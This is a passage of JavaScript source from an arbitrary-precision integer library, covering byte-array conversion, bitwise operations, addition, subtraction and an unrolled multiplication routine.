= length || Math.max(1, byteLength);\n assert(byteLength <= reqLength, 'byte array longer than desired length');\n assert(reqLength > 0, 'Requested array length <= 0');\n\n var res = allocate(ArrayType, reqLength);\n var postfix = endian === 'le' ? 'LE' : 'BE';\n this['_toArrayLike' + postfix](res, byteLength);\n return res;\n };\n\n BN.prototype._toArrayLikeLE = function _toArrayLikeLE (res, byteLength) {\n var position = 0;\n var carry = 0;\n\n for (var i = 0, shift = 0; i < this.length; i++) {\n var word = (this.words[i] << shift) | carry;\n\n res[position++] = word & 0xff;\n if (position < res.length) {\n res[position++] = (word >> 8) & 0xff;\n }\n if (position < res.length) {\n res[position++] = (word >> 16) & 0xff;\n }\n\n if (shift === 6) {\n if (position < res.length) {\n res[position++] = (word >> 24) & 0xff;\n }\n carry = 0;\n shift = 0;\n } else {\n carry = word >>> 24;\n shift += 2;\n }\n }\n\n if (position < res.length) {\n res[position++] = carry;\n\n while (position < res.length) {\n res[position++] = 0;\n }\n }\n };\n\n BN.prototype._toArrayLikeBE = function _toArrayLikeBE (res, byteLength) {\n var position = res.length - 1;\n var carry = 0;\n\n for (var i = 0, shift = 0; i < this.length; i++) {\n var word = (this.words[i] << shift) | carry;\n\n res[position--] = word & 0xff;\n if (position >= 0) {\n res[position--] = (word >> 8) & 0xff;\n }\n if (position >= 0) {\n res[position--] = (word >> 16) & 0xff;\n }\n\n if (shift === 6) {\n if (position >= 0) {\n res[position--] = (word >> 24) & 0xff;\n }\n carry = 0;\n shift = 0;\n } else {\n carry = word >>> 24;\n shift += 2;\n }\n }\n\n if (position >= 0) {\n res[position--] = carry;\n\n while (position >= 0) {\n res[position--] = 0;\n }\n }\n };\n\n if (Math.clz32) {\n BN.prototype._countBits = function _countBits (w) {\n return 32 - Math.clz32(w);\n };\n } else {\n BN.prototype._countBits = function _countBits (w) {\n var t = w;\n var r = 0;\n if (t >= 0x1000) {\n r += 13;\n t >>>= 13;\n }\n if (t >= 0x40) {\n r += 7;\n t >>>= 7;\n }\n if (t >= 0x8) {\n r += 4;\n t >>>= 4;\n }\n if (t >= 0x02) {\n r += 2;\n t >>>= 2;\n }\n return r + t;\n };\n }\n\n BN.prototype._zeroBits = function _zeroBits (w) {\n // Short-cut\n if (w === 0) return 26;\n\n var t = w;\n var r = 0;\n if ((t & 0x1fff) === 0) {\n r += 13;\n t >>>= 13;\n }\n if ((t & 0x7f) === 0) {\n r += 7;\n t >>>= 7;\n }\n if ((t & 0xf) === 0) {\n r += 4;\n t >>>= 4;\n }\n if ((t & 0x3) === 0) {\n r += 2;\n t >>>= 2;\n }\n if ((t & 0x1) === 0) {\n r++;\n }\n return r;\n };\n\n // Return number of used bits in a BN\n BN.prototype.bitLength = function bitLength () {\n var w = this.words[this.length - 1];\n var hi = this._countBits(w);\n return (this.length - 1) * 26 + hi;\n };\n\n function toBitArray (num) {\n var w = new Array(num.bitLength());\n\n for (var bit = 0; bit < w.length; bit++) {\n var off = (bit / 26) | 0;\n var wbit = bit % 26;\n\n w[bit] = (num.words[off] >>> wbit) & 0x01;\n }\n\n return w;\n }\n\n // Number of trailing zero bits\n BN.prototype.zeroBits = function zeroBits () {\n if (this.isZero()) return 0;\n\n var r = 0;\n for (var i = 0; i < this.length; i++) {\n var b = this._zeroBits(this.words[i]);\n r += b;\n if (b !== 26) break;\n }\n return r;\n };\n\n BN.prototype.byteLength = function byteLength () {\n return Math.ceil(this.bitLength() / 8);\n };\n\n BN.prototype.toTwos = function toTwos (width) {\n if (this.negative !== 0) {\n return this.abs().inotn(width).iaddn(1);\n }\n return this.clone();\n };\n\n BN.prototype.fromTwos = function fromTwos (width) {\n if (this.testn(width - 1)) {\n return this.notn(width).iaddn(1).ineg();\n }\n return this.clone();\n };\n\n BN.prototype.isNeg = function isNeg () {\n return this.negative !== 0;\n };\n\n // Return negative clone of `this`\n BN.prototype.neg = function neg () {\n return this.clone().ineg();\n };\n\n BN.prototype.ineg = function ineg () {\n if (!this.isZero()) {\n this.negative ^= 1;\n }\n\n return this;\n };\n\n // Or `num` with `this` in-place\n BN.prototype.iuor = function iuor (num) {\n while (this.length < num.length) {\n this.words[this.length++] = 0;\n }\n\n for (var i = 0; i < num.length; i++) {\n this.words[i] = this.words[i] | num.words[i];\n }\n\n return this._strip();\n };\n\n BN.prototype.ior = function ior (num) {\n assert((this.negative | num.negative) === 0);\n return this.iuor(num);\n };\n\n // Or `num` with `this`\n BN.prototype.or = function or (num) {\n if (this.length > num.length) return this.clone().ior(num);\n return num.clone().ior(this);\n };\n\n BN.prototype.uor = function uor (num) {\n if (this.length > num.length) return this.clone().iuor(num);\n return num.clone().iuor(this);\n };\n\n // And `num` with `this` in-place\n BN.prototype.iuand = function iuand (num) {\n // b = min-length(num, this)\n var b;\n if (this.length > num.length) {\n b = num;\n } else {\n b = this;\n }\n\n for (var i = 0; i < b.length; i++) {\n this.words[i] = this.words[i] & num.words[i];\n }\n\n this.length = b.length;\n\n return this._strip();\n };\n\n BN.prototype.iand = function iand (num) {\n assert((this.negative | num.negative) === 0);\n return this.iuand(num);\n };\n\n // And `num` with `this`\n BN.prototype.and = function and (num) {\n if (this.length > num.length) return this.clone().iand(num);\n return num.clone().iand(this);\n };\n\n BN.prototype.uand = function uand (num) {\n if (this.length > num.length) return this.clone().iuand(num);\n return num.clone().iuand(this);\n };\n\n // Xor `num` with `this` in-place\n BN.prototype.iuxor = function iuxor (num) {\n // a.length > b.length\n var a;\n var b;\n if (this.length > num.length) {\n a = this;\n b = num;\n } else {\n a = num;\n b = this;\n }\n\n for (var i = 0; i < b.length; i++) {\n this.words[i] = a.words[i] ^ b.words[i];\n }\n\n if (this !== a) {\n for (; i < a.length; i++) {\n this.words[i] = a.words[i];\n }\n }\n\n this.length = a.length;\n\n return this._strip();\n };\n\n BN.prototype.ixor = function ixor (num) {\n assert((this.negative | num.negative) === 0);\n return this.iuxor(num);\n };\n\n // Xor `num` with `this`\n BN.prototype.xor = function xor (num) {\n if (this.length > num.length) return this.clone().ixor(num);\n return num.clone().ixor(this);\n };\n\n BN.prototype.uxor = function uxor (num) {\n if (this.length > num.length) return this.clone().iuxor(num);\n return num.clone().iuxor(this);\n };\n\n // Not ``this`` with ``width`` bitwidth\n BN.prototype.inotn = function inotn (width) {\n assert(typeof width === 'number' && width >= 0);\n\n var bytesNeeded = Math.ceil(width / 26) | 0;\n var bitsLeft = width % 26;\n\n // Extend the buffer with leading zeroes\n this._expand(bytesNeeded);\n\n if (bitsLeft > 0) {\n bytesNeeded--;\n }\n\n // Handle complete words\n for (var i = 0; i < bytesNeeded; i++) {\n this.words[i] = ~this.words[i] & 0x3ffffff;\n }\n\n // Handle the residue\n if (bitsLeft > 0) {\n this.words[i] = ~this.words[i] & (0x3ffffff >> (26 - bitsLeft));\n }\n\n // And remove leading zeroes\n return this._strip();\n };\n\n BN.prototype.notn = function notn (width) {\n return this.clone().inotn(width);\n };\n\n // Set `bit` of `this`\n BN.prototype.setn = function setn (bit, val) {\n assert(typeof bit === 'number' && bit >= 0);\n\n var off = (bit / 26) | 0;\n var wbit = bit % 26;\n\n this._expand(off + 1);\n\n if (val) {\n this.words[off] = this.words[off] | (1 << wbit);\n } else {\n this.words[off] = this.words[off] & ~(1 << wbit);\n }\n\n return this._strip();\n };\n\n // Add `num` to `this` in-place\n BN.prototype.iadd = function iadd (num) {\n var r;\n\n // negative + positive\n if (this.negative !== 0 && num.negative === 0) {\n this.negative = 0;\n r = this.isub(num);\n this.negative ^= 1;\n return this._normSign();\n\n // positive + negative\n } else if (this.negative === 0 && num.negative !== 0) {\n num.negative = 0;\n r = this.isub(num);\n num.negative = 1;\n return r._normSign();\n }\n\n // a.length > b.length\n var a, b;\n if (this.length > num.length) {\n a = this;\n b = num;\n } else {\n a = num;\n b = this;\n }\n\n var carry = 0;\n for (var i = 0; i < b.length; i++) {\n r = (a.words[i] | 0) + (b.words[i] | 0) + carry;\n this.words[i] = r & 0x3ffffff;\n carry = r >>> 26;\n }\n for (; carry !== 0 && i < a.length; i++) {\n r = (a.words[i] | 0) + carry;\n this.words[i] = r & 0x3ffffff;\n carry = r >>> 26;\n }\n\n this.length = a.length;\n if (carry !== 0) {\n this.words[this.length] = carry;\n this.length++;\n // Copy the rest of the words\n } else if (a !== this) {\n for (; i < a.length; i++) {\n this.words[i] = a.words[i];\n }\n }\n\n return this;\n };\n\n // Add `num` to `this`\n BN.prototype.add = function add (num) {\n var res;\n if (num.negative !== 0 && this.negative === 0) {\n num.negative = 0;\n res = this.sub(num);\n num.negative ^= 1;\n return res;\n } else if (num.negative === 0 && this.negative !== 0) {\n this.negative = 0;\n res = num.sub(this);\n this.negative = 1;\n return res;\n }\n\n if (this.length > num.length) return this.clone().iadd(num);\n\n return num.clone().iadd(this);\n };\n\n // Subtract `num` from `this` in-place\n BN.prototype.isub = function isub (num) {\n // this - (-num) = this + num\n if (num.negative !== 0) {\n num.negative = 0;\n var r = this.iadd(num);\n num.negative = 1;\n return r._normSign();\n\n // -this - num = -(this + num)\n } else if (this.negative !== 0) {\n this.negative = 0;\n this.iadd(num);\n this.negative = 1;\n return this._normSign();\n }\n\n // At this point both numbers are positive\n var cmp = this.cmp(num);\n\n // Optimization - zeroify\n if (cmp === 0) {\n this.negative = 0;\n this.length = 1;\n this.words[0] = 0;\n return this;\n }\n\n // a > b\n var a, b;\n if (cmp > 0) {\n a = this;\n b = num;\n } else {\n a = num;\n b = this;\n }\n\n var carry = 0;\n for (var i = 0; i < b.length; i++) {\n r = (a.words[i] | 0) - (b.words[i] | 0) + carry;\n carry = r >> 26;\n this.words[i] = r & 0x3ffffff;\n }\n for (; carry !== 0 && i < a.length; i++) {\n r = (a.words[i] | 0) + carry;\n carry = r >> 26;\n this.words[i] = r & 0x3ffffff;\n }\n\n // Copy rest of the words\n if (carry === 0 && i < a.length && a !== this) {\n for (; i < a.length; i++) {\n this.words[i] = a.words[i];\n }\n }\n\n this.length = Math.max(this.length, i);\n\n if (a !== this) {\n this.negative = 1;\n }\n\n return this._strip();\n };\n\n // Subtract `num` from `this`\n BN.prototype.sub = function sub (num) {\n return this.clone().isub(num);\n };\n\n function smallMulTo (self, num, out) {\n out.negative = num.negative ^ self.negative;\n var len = (self.length + num.length) | 0;\n out.length = len;\n len = (len - 1) | 0;\n\n // Peel one iteration (compiler can't do it, because of code complexity)\n var a = self.words[0] | 0;\n var b = num.words[0] | 0;\n var r = a * b;\n\n var lo = r & 0x3ffffff;\n var carry = (r / 0x4000000) | 0;\n out.words[0] = lo;\n\n for (var k = 1; k < len; k++) {\n // Sum all words with the same `i + j = k` and accumulate `ncarry`,\n // note that ncarry could be >= 0x3ffffff\n var ncarry = carry >>> 26;\n var rword = carry & 0x3ffffff;\n var maxJ = Math.min(k, num.length - 1);\n for (var j = Math.max(0, k - self.length + 1); j <= maxJ; j++) {\n var i = (k - j) | 0;\n a = self.words[i] | 0;\n b = num.words[j] | 0;\n r = a * b + rword;\n ncarry += (r / 0x4000000) | 0;\n rword = r & 0x3ffffff;\n }\n out.words[k] = rword | 0;\n carry = ncarry | 0;\n }\n if (carry !== 0) {\n out.words[k] = carry | 0;\n } else {\n out.length--;\n }\n\n return out._strip();\n }\n\n // TODO(indutny): it may be reasonable to omit it for users who don't need\n // to work with 256-bit numbers, otherwise it gives 20% improvement for 256-bit\n // multiplication (like elliptic secp256k1).\n var comb10MulTo = function comb10MulTo (self, num, out) {\n var a = self.words;\n var b = num.words;\n var o = out.words;\n var c = 0;\n var lo;\n var mid;\n var hi;\n var a0 = a[0] | 0;\n var al0 = a0 & 0x1fff;\n var ah0 = a0 >>> 13;\n var a1 = a[1] | 0;\n var al1 = a1 & 0x1fff;\n var ah1 = a1 >>> 13;\n var a2 = a[2] | 0;\n var al2 = a2 & 0x1fff;\n var ah2 = a2 >>> 13;\n var a3 = a[3] | 0;\n var al3 = a3 & 0x1fff;\n var ah3 = a3 >>> 13;\n var a4 = a[4] | 0;\n var al4 = a4 & 0x1fff;\n var ah4 = a4 >>> 13;\n var a5 = a[5] | 0;\n var al5 = a5 & 0x1fff;\n var ah5 = a5 >>> 13;\n var a6 = a[6] | 0;\n var al6 = a6 & 0x1fff;\n var ah6 = a6 >>> 13;\n var a7 = a[7] | 0;\n var al7 = a7 & 0x1fff;\n var ah7 = a7 >>> 13;\n var a8 = a[8] | 0;\n var al8 = a8 & 0x1fff;\n var ah8 = a8 >>> 13;\n var a9 = a[9] | 0;\n var al9 = a9 & 0x1fff;\n var ah9 = a9 >>> 13;\n var b0 = b[0] | 0;\n var bl0 = b0 & 0x1fff;\n var bh0 = b0 >>> 13;\n var b1 = b[1] | 0;\n var bl1 = b1 & 0x1fff;\n var bh1 = b1 >>> 13;\n var b2 = b[2] | 0;\n var bl2 = b2 & 0x1fff;\n var bh2 = b2 >>> 13;\n var b3 = b[3] | 0;\n var bl3 = b3 & 0x1fff;\n var bh3 = b3 >>> 13;\n var b4 = b[4] | 0;\n var bl4 = b4 & 0x1fff;\n var bh4 = b4 >>> 13;\n var b5 = b[5] | 0;\n var bl5 = b5 & 0x1fff;\n var bh5 = b5 >>> 13;\n var b6 = b[6] | 0;\n var bl6 = b6 & 0x1fff;\n var bh6 = b6 >>> 13;\n var b7 = b[7] | 0;\n var bl7 = b7 & 0x1fff;\n var bh7 = b7 >>> 13;\n var b8 = b[8] | 0;\n var bl8 = b8 & 0x1fff;\n var bh8 = b8 >>> 13;\n var b9 = b[9] | 0;\n var bl9 = b9 & 0x1fff;\n var bh9 = b9 >>> 13;\n\n out.negative = self.negative ^ num.negative;\n out.length = 19;\n /* k = 0 */\n lo = Math.imul(al0, bl0);\n mid = Math.imul(al0, bh0);\n mid = (mid + Math.imul(ah0, bl0)) | 0;\n hi = Math.imul(ah0, bh0);\n var w0 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w0 >>> 26)) | 0;\n w0 &= 0x3ffffff;\n /* k = 1 */\n lo = Math.imul(al1, bl0);\n mid = Math.imul(al1, bh0);\n mid = (mid + Math.imul(ah1, bl0)) | 0;\n hi = Math.imul(ah1, bh0);\n lo = (lo + Math.imul(al0, bl1)) | 0;\n mid = (mid + Math.imul(al0, bh1)) | 0;\n mid = (mid + Math.imul(ah0, bl1)) | 0;\n hi = (hi + Math.imul(ah0, bh1)) | 0;\n var w1 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w1 >>> 26)) | 0;\n w1 &= 0x3ffffff;\n /* k = 2 */\n lo = Math.imul(al2, bl0);\n mid = Math.imul(al2, bh0);\n mid = (mid + Math.imul(ah2, bl0)) | 0;\n hi = Math.imul(ah2, bh0);\n lo = (lo + Math.imul(al1, bl1)) | 0;\n mid = (mid + Math.imul(al1, bh1)) | 0;\n mid = (mid + Math.imul(ah1, bl1)) | 0;\n hi = (hi + Math.imul(ah1, bh1)) | 0;\n lo = (lo + Math.imul(al0, bl2)) | 0;\n mid = (mid + Math.imul(al0, bh2)) | 0;\n mid = (mid + Math.imul(ah0, bl2)) | 0;\n hi = (hi + Math.imul(ah0, bh2)) | 0;\n var w2 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w2 >>> 26)) | 0;\n w2 &= 0x3ffffff;\n /* k = 3 */\n lo = Math.imul(al3, bl0);\n mid = Math.imul(al3, bh0);\n mid = (mid + Math.imul(ah3, bl0)) | 0;\n hi = Math.imul(ah3, bh0);\n lo = (lo + Math.imul(al2, bl1)) | 0;\n mid = (mid + Math.imul(al2, bh1)) | 0;\n mid = (mid + Math.imul(ah2, bl1)) | 0;\n hi = (hi + Math.imul(ah2, bh1)) | 0;\n lo = (lo + Math.imul(al1, bl2)) | 0;\n mid = (mid + Math.imul(al1, bh2)) | 0;\n mid = (mid + Math.imul(ah1, bl2)) | 0;\n hi = (hi + Math.imul(ah1, bh2)) | 0;\n lo = (lo + Math.imul(al0, bl3)) | 0;\n mid = (mid + Math.imul(al0, bh3)) | 0;\n mid = (mid + Math.imul(ah0, bl3)) | 0;\n hi = (hi + Math.imul(ah0, bh3)) | 0;\n var w3 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w3 >>> 26)) | 0;\n w3 &= 0x3ffffff;\n /* k = 4 */\n lo = Math.imul(al4, bl0);\n mid = Math.imul(al4, bh0);\n mid = (mid + Math.imul(ah4, bl0)) | 0;\n hi = Math.imul(ah4, bh0);\n lo = (lo + Math.imul(al3, bl1)) | 0;\n mid = (mid + Math.imul(al3, bh1)) | 0;\n mid = (mid + Math.imul(ah3, bl1)) | 0;\n hi = (hi + Math.imul(ah3, bh1)) | 0;\n lo = (lo + Math.imul(al2, bl2)) | 0;\n mid = (mid + Math.imul(al2, bh2)) | 0;\n mid = (mid + Math.imul(ah2, bl2)) | 0;\n hi = (hi + Math.imul(ah2, bh2)) | 0;\n lo = (lo + Math.imul(al1, bl3)) | 0;\n mid = (mid + Math.imul(al1, bh3)) | 0;\n mid = (mid + Math.imul(ah1, bl3)) | 0;\n hi = (hi + Math.imul(ah1, bh3)) | 0;\n lo = (lo + Math.imul(al0, bl4)) | 0;\n mid = (mid + Math.imul(al0, bh4)) | 0;\n mid = (mid + Math.imul(ah0, bl4)) | 0;\n hi = (hi + Math.imul(ah0, bh4)) | 0;\n var w4 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w4 >>> 26)) | 0;\n w4 &= 0x3ffffff;\n /* k = 5 */\n lo = Math.imul(al5, bl0);\n mid = Math.imul(al5, bh0);\n mid = (mid + Math.imul(ah5, bl0)) | 0;\n hi = Math.imul(ah5, bh0);\n lo = (lo + Math.imul(al4, bl1)) | 0;\n mid = (mid + Math.imul(al4, bh1)) | 0;\n mid = (mid + Math.imul(ah4, bl1)) | 0;\n hi = (hi + Math.imul(ah4, bh1)) | 0;\n lo = (lo + Math.imul(al3, bl2)) | 0;\n mid = (mid + Math.imul(al3, bh2)) | 0;\n mid = (mid + Math.imul(ah3, bl2)) | 0;\n hi = (hi + Math.imul(ah3, bh2)) | 0;\n lo = (lo + Math.imul(al2, bl3)) | 0;\n mid = (mid + Math.imul(al2, bh3)) | 0;\n mid = (mid + Math.imul(ah2, bl3)) | 0;\n hi = (hi + Math.imul(ah2, bh3)) | 0;\n lo = (lo + Math.imul(al1, bl4)) | 0;\n mid = (mid + Math.imul(al1, bh4)) | 0;\n mid = (mid + Math.imul(ah1, bl4)) | 0;\n hi = (hi + Math.imul(ah1, bh4)) | 0;\n lo = (lo + Math.imul(al0, bl5)) | 0;\n mid = (mid + Math.imul(al0, bh5)) | 0;\n mid = (mid + Math.imul(ah0, bl5)) | 0;\n hi = (hi + Math.imul(ah0, bh5)) | 0;\n var w5 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w5 >>> 26)) | 0;\n w5 &= 0x3ffffff;\n /* k = 6 */\n lo = Math.imul(al6, bl0);\n mid = Math.imul(al6, bh0);\n mid = (mid + Math.imul(ah6, bl0)) | 0;\n hi = Math.imul(ah6, bh0);\n lo = (lo + Math.imul(al5, bl1)) | 0;\n mid = (mid + Math.imul(al5, bh1)) | 0;\n mid = (mid + Math.imul(ah5, bl1)) | 0;\n hi = (hi + Math.imul(ah5, bh1)) | 0;\n lo = (lo + Math.imul(al4, bl2)) | 0;\n mid = (mid + Math.imul(al4, bh2)) | 0;\n mid = (mid + Math.imul(ah4, bl2)) | 0;\n hi = (hi + Math.imul(ah4, bh2)) | 0;\n lo = (lo + Math.imul(al3, bl3)) | 0;\n mid = (mid + Math.imul(al3, bh3)) | 0;\n mid = (mid + Math.imul(ah3, bl3)) | 0;\n hi = (hi + Math.imul(ah3, bh3)) | 0;\n lo = (lo + Math.imul(al2, bl4)) | 0;\n mid = (mid + Math.imul(al2, bh4)) | 0;\n mid = (mid + Math.imul(ah2, bl4)) | 0;\n hi = (hi + Math.imul(ah2, bh4)) | 0;\n lo = (lo + Math.imul(al1, bl5)) | 0;\n mid = (mid + Math.imul(al1, bh5)) | 0;\n mid = (mid + Math.imul(ah1, bl5)) | 0;\n hi = (hi + Math.imul(ah1, bh5)) | 0;\n lo = (lo + Math.imul(al0, bl6)) | 0;\n mid = (mid + Math.imul(al0, bh6)) | 0;\n mid = (mid + Math.imul(ah0, bl6)) | 0;\n hi = (hi + Math.imul(ah0, bh6)) | 0;\n var w6 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w6 >>> 26)) | 0;\n w6 &= 0x3ffffff;\n /* k = 7 */\n lo = Math.imul(al7, bl0);\n mid = Math.imul(al7, bh0);\n mid = (mid + Math.imul(ah7, bl0)) | 0;\n hi = Math.imul(ah7, bh0);\n lo = (lo + Math.imul(al6, bl1)) | 0;\n mid = (mid + Math.imul(al6, bh1)) | 0;\n mid = (mid + Math.imul(ah6, bl1)) | 0;\n hi = (hi + Math.imul(ah6, bh1)) | 0;\n lo = (lo + Math.imul(al5, bl2)) | 0;\n mid = (mid + Math.imul(al5, bh2)) | 0;\n mid = (mid + Math.imul(ah5, bl2)) | 0;\n hi = (hi + Math.imul(ah5, bh2)) | 0;\n lo = (lo + Math.imul(al4, bl3)) | 0;\n mid = (mid + Math.imul(al4, bh3)) | 0;\n mid = (mid + Math.imul(ah4, bl3)) | 0;\n hi = (hi + Math.imul(ah4, bh3)) | 0;\n lo = (lo + Math.imul(al3, bl4)) | 0;\n mid = (mid + Math.imul(al3, bh4)) | 0;\n mid = (mid + Math.imul(ah3, bl4)) | 0;\n hi = (hi + Math.imul(ah3, bh4)) | 0;\n lo = (lo + Math.imul(al2, bl5)) | 0;\n mid = (mid + Math.imul(al2, bh5)) | 0;\n mid = (mid + Math.imul(ah2, bl5)) | 0;\n hi = (hi + Math.imul(ah2, bh5)) | 0;\n lo = (lo + Math.imul(al1, bl6)) | 0;\n mid = (mid + Math.imul(al1, bh6)) | 0;\n mid = (mid + Math.imul(ah1, bl6)) | 0;\n hi = (hi + Math.imul(ah1, bh6)) | 0;\n lo = (lo + Math.imul(al0, bl7)) | 0;\n mid = (mid + Math.imul(al0, bh7)) | 0;\n mid = (mid + Math.imul(ah0, bl7)) | 0;\n hi = (hi + Math.imul(ah0, bh7)) | 0;\n var w7 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w7 >>> 26)) | 0;\n w7 &= 0x3ffffff;\n /* k = 8 */\n lo = Math.imul(al8, bl0);\n mid = Math.imul(al8, bh0);\n mid = (mid + Math.imul(ah8, bl0)) | 0;\n hi = Math.imul(ah8, bh0);\n lo = (lo + Math.imul(al7, bl1)) | 0;\n mid = (mid + Math.imul(al7, bh1)) | 0;\n mid = (mid + Math.imul(ah7, bl1)) | 0;\n hi = (hi + Math.imul(ah7, bh1)) | 0;\n lo = (lo + Math.imul(al6, bl2)) | 0;\n mid = (mid + Math.imul(al6, bh2)) | 0;\n mid = (mid + Math.imul(ah6, bl2)) | 0;\n hi = (hi + Math.imul(ah6, bh2)) | 0;\n lo = (lo + Math.imul(al5, bl3)) | 0;\n mid = (mid + Math.imul(al5, bh3)) | 0;\n mid = (mid + Math.imul(ah5, bl3)) | 0;\n hi = (hi + Math.imul(ah5, bh3)) | 0;\n lo = (lo + Math.imul(al4, bl4)) | 0;\n mid = (mid + Math.imul(al4, bh4)) | 0;\n mid = (mid + Math.imul(ah4, bl4)) | 0;\n hi = (hi + Math.imul(ah4, bh4)) | 0;\n lo = (lo + Math.imul(al3, bl5)) | 0;\n mid = (mid + Math.imul(al3, bh5)) | 0;\n mid = (mid + Math.imul(ah3, bl5)) | 0;\n hi = (hi + Math.imul(ah3, bh5)) | 0;\n lo = (lo + Math.imul(al2, bl6)) | 0;\n mid = (mid + Math.imul(al2, bh6)) | 0;\n mid = (mid + Math.imul(ah2, bl6)) | 0;\n hi = (hi + Math.imul(ah2, bh6)) | 0;\n lo = (lo + Math.imul(al1, bl7)) | 0;\n mid = (mid + Math.imul(al1, bh7)) | 0;\n mid = (mid + Math.imul(ah1, bl7)) | 0;\n hi = (hi + Math.imul(ah1, bh7)) | 0;\n lo = (lo + Math.imul(al0, bl8)) | 0;\n mid = (mid + Math.imul(al0, bh8)) | 0;\n mid = (mid + Math.imul(ah0, bl8)) | 0;\n hi = (hi + Math.imul(ah0, bh8)) | 0;\n var w8 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w8 >>> 26)) | 0;\n w8 &= 0x3ffffff;\n /* k = 9 */\n lo = Math.imul(al9, bl0);\n mid = Math.imul(al9, bh0);\n mid = (mid + Math.imul(ah9, bl0)) | 0;\n hi = Math.imul(ah9, bh0);\n lo = (lo + Math.imul(al8, bl1)) | 0;\n mid = (mid + Math.imul(al8, bh1)) | 0;\n mid = (mid + Math.imul(ah8, bl1)) | 0;\n hi = (hi + Math.imul(ah8, bh1)) | 0;\n lo = (lo + Math.imul(al7, bl2)) | 0;\n mid = (mid + Math.imul(al7, bh2)) | 0;\n mid = (mid + Math.imul(ah7, bl2)) | 0;\n hi = (hi + Math.imul(ah7, bh2)) | 0;\n lo = (lo + Math.imul(al6, bl3)) | 0;\n mid = (mid + Math.imul(al6, bh3)) | 0;\n mid = (mid + Math.imul(ah6, bl3)) | 0;\n hi = (hi + Math.imul(ah6, bh3)) | 0;\n lo = (lo + Math.imul(al5, bl4)) | 0;\n mid = (mid + Math.imul(al5, bh4)) | 0;\n mid = (mid + Math.imul(ah5, bl4)) | 0;\n hi = (hi + Math.imul(ah5, bh4)) | 0;\n lo = (lo + Math.imul(al4, bl5)) | 0;\n mid = (mid + Math.imul(al4, bh5)) | 0;\n mid = (mid + Math.imul(ah4, bl5)) | 0;\n hi = (hi + Math.imul(ah4, bh5)) | 0;\n lo = (lo + Math.imul(al3, bl6)) | 0;\n mid = (mid + Math.imul(al3, bh6)) | 0;\n mid = (mid + Math.imul(ah3, bl6)) | 0;\n hi = (hi + Math.imul(ah3, bh6)) | 0;\n lo = (lo + Math.imul(al2, bl7)) | 0;\n mid = (mid + Math.imul(al2, bh7)) | 0;\n mid = (mid + Math.imul(ah2, bl7)) | 0;\n hi = (hi + Math.imul(ah2, bh7)) | 0;\n lo = (lo + Math.imul(al1, bl8)) | 0;\n mid = (mid + Math.imul(al1, bh8)) | 0;\n mid = (mid + Math.imul(ah1, bl8)) | 0;\n hi = (hi + Math.imul(ah1, bh8)) | 0;\n lo = (lo + Math.imul(al0, bl9)) | 0;\n mid = (mid + Math.imul(al0, bh9)) | 0;\n mid = (mid + Math.imul(ah0, bl9)) | 0;\n hi = (hi + Math.imul(ah0, bh9)) | 0;\n var w9 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w9 >>> 26)) | 0;\n w9 &= 0x3ffffff;\n /* k = 10 */\n lo = Math.imul(al9, bl1);\n mid = Math.imul(al9, bh1);\n mid = (mid + Math.imul(ah9, bl1)) | 0;\n hi = Math.imul(ah9, bh1);\n lo = (lo + Math.imul(al8, bl2)) | 0;\n mid = (mid + Math.imul(al8, bh2)) | 0;\n mid = (mid + Math.imul(ah8, bl2)) | 0;\n hi = (hi + Math.imul(ah8, bh2)) | 0;\n lo = (lo + Math.imul(al7, bl3)) | 0;\n mid = (mid + Math.imul(al7, bh3)) | 0;\n mid = (mid + Math.imul(ah7, bl3)) | 0;\n hi = (hi + Math.imul(ah7, bh3)) | 0;\n lo = (lo + Math.imul(al6, bl4)) | 0;\n mid = (mid + Math.imul(al6, bh4)) | 0;\n mid = (mid + Math.imul(ah6, bl4)) | 0;\n hi = (hi + Math.imul(ah6, bh4)) | 0;\n lo = (lo + Math.imul(al5, bl5)) | 0;\n mid = (mid + Math.imul(al5, bh5)) | 0;\n mid = (mid + Math.imul(ah5, bl5)) | 0;\n hi = (hi + Math.imul(ah5, bh5)) | 0;\n lo = (lo + Math.imul(al4, bl6)) | 0;\n mid = (mid + Math.imul(al4, bh6)) | 0;\n mid = (mid + Math.imul(ah4, bl6)) | 0;\n hi = (hi + Math.imul(ah4, bh6)) | 0;\n lo = (lo + Math.imul(al3, bl7)) | 0;\n mid = (mid + Math.imul(al3, bh7)) | 0;\n mid = (mid + Math.imul(ah3, bl7)) | 0;\n hi = (hi + Math.imul(ah3, bh7)) | 0;\n lo = (lo + Math.imul(al2, bl8)) | 0;\n mid = (mid + Math.imul(al2, bh8)) | 0;\n mid = (mid + Math.imul(ah2, bl8)) | 0;\n hi = (hi + Math.imul(ah2, bh8)) | 0;\n lo = (lo + Math.imul(al1, bl9)) | 0;\n mid = (mid + Math.imul(al1, bh9)) | 0;\n mid = (mid + Math.imul(ah1, bl9)) | 0;\n hi = (hi + Math.imul(ah1, bh9)) | 0;\n var w10 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w10 >>> 26)) | 0;\n w10 &= 0x3ffffff;\n /* k = 11 */\n lo = Math.imul(al9, bl2);\n mid = Math.imul(al9, bh2);\n mid = (mid + Math.imul(ah9, bl2)) | 0;\n hi = Math.imul(ah9, bh2);\n lo = (lo + Math.imul(al8, bl3)) | 0;\n mid = (mid + Math.imul(al8, bh3)) | 0;\n mid = (mid + Math.imul(ah8, bl3)) | 0;\n hi = (hi + Math.imul(ah8, bh3)) | 0;\n lo = (lo + Math.imul(al7, bl4)) | 0;\n mid = (mid + Math.imul(al7, 